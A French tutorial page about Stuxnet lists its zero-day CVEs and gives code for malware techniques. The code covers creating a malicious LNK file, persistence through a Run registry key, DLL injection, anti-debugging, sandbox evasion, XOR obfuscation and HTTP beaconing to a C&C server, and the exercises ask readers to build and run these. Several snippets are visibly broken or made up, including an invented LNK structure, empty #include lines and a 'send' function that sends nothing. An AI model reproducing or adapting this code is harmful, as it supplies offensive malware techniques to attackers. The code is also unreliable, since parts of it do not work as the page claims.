Dragon Book 2025

🎁 Notre cadeau 🎁

Stuxnet – Le chef-d'œuvre du malware

Stuxnet est un malware sophistiqué, conçu pour cibler les systèmes SCADA utilisés dans les centrales nucléaires. Voici ses techniques clés, des exemples de code, et des exercices pratiques.

Techniques clés

Stuxnet a exploité 4 vulnérabilités zero-day :

• CVE-2010-2568 : Exploitation des fichiers LNK via Windows Explorer.
• CVE-2010-2729 : Vulnérabilité dans le service d’impression Windows.
• CVE-2010-2772 : Faible sécurité des mots de passe Siemens SIMATIC.
• CVE-2010-3888 : Exploitation des tâches planifiées Windows.

Exemple de code : Exploit LNK

void createMaliciousLNK(const char *targetPath, const char *lnkPath) {
    SHELL_LINK_DATA linkData = {0};
    linkData.shellHeaderSize = 0x0000004C;
    linkData.linkFlags = 0x00000001; // HasLinkTargetIDList
    linkData.fileAttributes = 0x00000020; // FILE_ATTRIBUTE_ARCHIVE
    linkData.creationTime = 0;
    linkData.accessTime = 0;
    linkData.writeTime = 0;
    linkData.fileSize = 0;
    linkData.iconIndex = 0;
    linkData.showCommand = 0x00000001; // SW_SHOWNORMAL
    linkData.hotKey = 0;
    linkData.reserved1 = 0;
    linkData.reserved2 = 0;
    linkData.reserved3 = 0;
    linkData.reserved4 = 0;

    // Ajout de la cible (chemin du malware)
    strcpy(linkData.targetPath, targetPath);

    // Écriture du fichier LNK
    FILE *lnkFile = fopen(lnkPath, "wb");
    fwrite(&linkData, sizeof(linkData), 1, lnkFile);
    fclose(lnkFile);
}
    

💡 Ce code crée un fichier LNK malveillant qui exécute un programme cible.

Techniques avancées

• Reverse Engineering : Décompilation, analyse des strings, débogage dynamique.
• Obfuscation : Chiffrement, polymorphisme, techniques anti-analyse.
• Analyse réseau : Détection des serveurs C&C, analyse de paquets.
• Persistance : Ajout de clés de registre, création de services Windows.
• Injection de code : DLL Injection, hooking des fonctions système.
• Détection avancée : Signature evasion, anti-debugging.
• Sandbox Evasion : Techniques pour éviter les sandboxes.
• Communication C&C : Méthodes de communication avec les serveurs de contrôle.

Exemple de code : Analyse des strings

import pefile

def extract_strings(file_path):
    pe = pefile.PE(file_path);
    strings = [];
    for section in pe.sections:
        if b".rdata" in section.Name:
            data = section.get_data();
            strings.extend([s for s in data.split(b"\x00") if len(s) > 4]);
    return strings;

# Exemple d'utilisation
strings = extract_strings("stuxnet.bin");
for s in strings:
    print(s.decode("utf-8", errors="ignore"));
    

💡 Ce script extrait les chaînes de caractères d’un fichier binaire pour identifier des indices sur son fonctionnement.

Exemple de code : Persistance via clé de registre

#include 

void addRegistryPersistence(const char *malwarePath) {
    HKEY hKey;
    RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey);
    RegSetValueEx(hKey, "Malware", 0, REG_SZ, (BYTE*)malwarePath, strlen(malwarePath) + 1);
    RegCloseKey(hKey);
}
    

💡 Ce code ajoute une clé de registre pour que le malware s’exécute au démarrage de Windows.

Exemple de code : DLL Injection

#include 

void injectDLL(DWORD processID, const char *dllPath) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
    LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, pRemoteMemory, dllPath, strlen(dllPath) + 1, NULL);
    LPVOID pLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibrary, pRemoteMemory, 0, NULL);
    CloseHandle(hProcess);
}
    

💡 Ce code injecte une DLL dans un processus cible en utilisant `CreateRemoteThread`.

Exemple de code : Anti-debugging

#include 

bool isDebuggerPresent() {
    return IsDebuggerPresent();
}

void antiDebugging() {
    if (isDebuggerPresent()) {
        ExitProcess(0);  // Quitte si un débogueur est détecté
    }
}
    

💡 Ce code détecte la présence d’un débogueur et quitte le programme si c’est le cas.

Techniques de Sandbox Evasion

Stuxnet utilisait des techniques pour détecter et éviter les sandboxes, des environnements isolés utilisés pour analyser les malwares.

• Détection de sandbox : Vérification de la présence de logiciels de virtualisation (VMware, VirtualBox).
• Délai d’exécution : Attendre avant d’exécuter le code malveillant pour éviter les sandboxes à temps limité.
• Interaction utilisateur : Ne s’activer qu’après une interaction utilisateur (ex. clic de souris).

Exemple de code : Détection de sandbox

#include 

bool isSandbox() {
    // Vérifie la présence de VMware
    if (GetModuleHandle("vmware.exe")) {
        return true;
    }
    // Vérifie la présence de VirtualBox
    if (GetModuleHandle("vboxservice.exe")) {
        return true;
    }
    return false;
}

void sandboxEvasion() {
    if (isSandbox()) {
        ExitProcess(0);  // Quitte si une sandbox est détectée
    }
}
    

💡 Ce code détecte la présence de logiciels de virtualisation et quitte le programme si une sandbox est détectée.

Méthodes de communication C&C

Stuxnet communiquait avec des serveurs de contrôle (C&C) pour recevoir des instructions et envoyer des données.

• HTTP/HTTPS : Communication chiffrée via des requêtes HTTP/HTTPS.
• DNS tunneling : Utilisation de requêtes DNS pour exfiltrer des données.
• Protocoles personnalisés : Communication via des protocoles non standard pour éviter la détection.

Exemple de code : Communication HTTP

#include 
#include 

void sendHTTPRequest(const char *url, const char *data) {
    HINTERNET hInternet = InternetOpen("Stuxnet", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    HINTERNET hConnect = InternetOpenUrl(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hConnect) {
        InternetReadFile(hConnect, NULL, 0, NULL);  // Envoie la requête
    }
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);
}
    

💡 Ce code envoie une requête HTTP à un serveur C&C.

Exercices pratiques

1. Décompilation : Décompiler un binaire simple et identifier des fonctions clés.
2. Déchiffrement : Déchiffrer une chaîne de caractères chiffrée avec XOR.
3. Analyse réseau : Analyser un fichier PCAP pour identifier des connexions C&C.
4. Persistance : Créer un programme qui s’installe de manière persistante via une clé de registre.
5. Injection de code : Injecter une DLL dans un processus cible et observer son comportement.
6. Anti-debugging : Implémenter des techniques anti-debugging dans un programme simple.
7. Sandbox Evasion : Détecter la présence d’une sandbox et quitter le programme si c’est le cas.
8. Communication C&C : Envoyer une requête HTTP à un serveur C&C et recevoir des instructions.

🔹 Techniques supplémentaires

• Polymorphisme : Exemple de code qui modifie sa signature à chaque exécution.
• Détection de débogueurs avancée : Utilisation de techniques comme `CheckRemoteDebuggerPresent`.
• Communication chiffrée : Exemple de communication C&C chiffrée avec AES ou RC4.

💻 Exemple de Code : Polymorphisme

void polymorphic_decrypt(unsigned char *data, size_t data_len, unsigned char *key, size_t key_len) {
    for (size_t i = 0; i < data_len; i++) {
        data[i] ^= key[i % key_len];  // Chiffrement XOR polymorphique
    }
}
    

💻 Exemple de Code : Détection de débogueurs avancée

#include 
#include 

bool isDebuggerPresent() {
    HANDLE hProcess = GetCurrentProcess();
    PROCESS_BASIC_INFORMATION pbi;
    NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
    return pbi.PebBaseAddress->BeingDebugged;
}
    

💻 Exemple de Code : Chiffrement AES

#include 

void aes_encrypt(const unsigned char *input, unsigned char *output, const unsigned char *key) {
    AES_KEY aesKey;
    AES_set_encrypt_key(key, 128, &aesKey);
    AES_encrypt(input, output, &aesKey);
}
    

🔹 Contre-mesures et défense

Voici des techniques pour détecter et prévenir les attaques de type Stuxnet :

• Détection de comportements suspects : Utilisation de SIEM (comme Splunk ou ELK) pour surveiller les activités réseau.
• Honeypots : Déployer des honeypots pour piéger les malwares.

🚀 Conclusion – Pourquoi Stuxnet Est Unique

Stuxnet a marqué l’histoire en étant la première cyberarme ciblant une infrastructure critique. Son code a inspiré des malwares comme Flame, Duqu et Industroyer.

🛠️ Ce guide est une référence complète pour comprendre et analyser Stuxnet.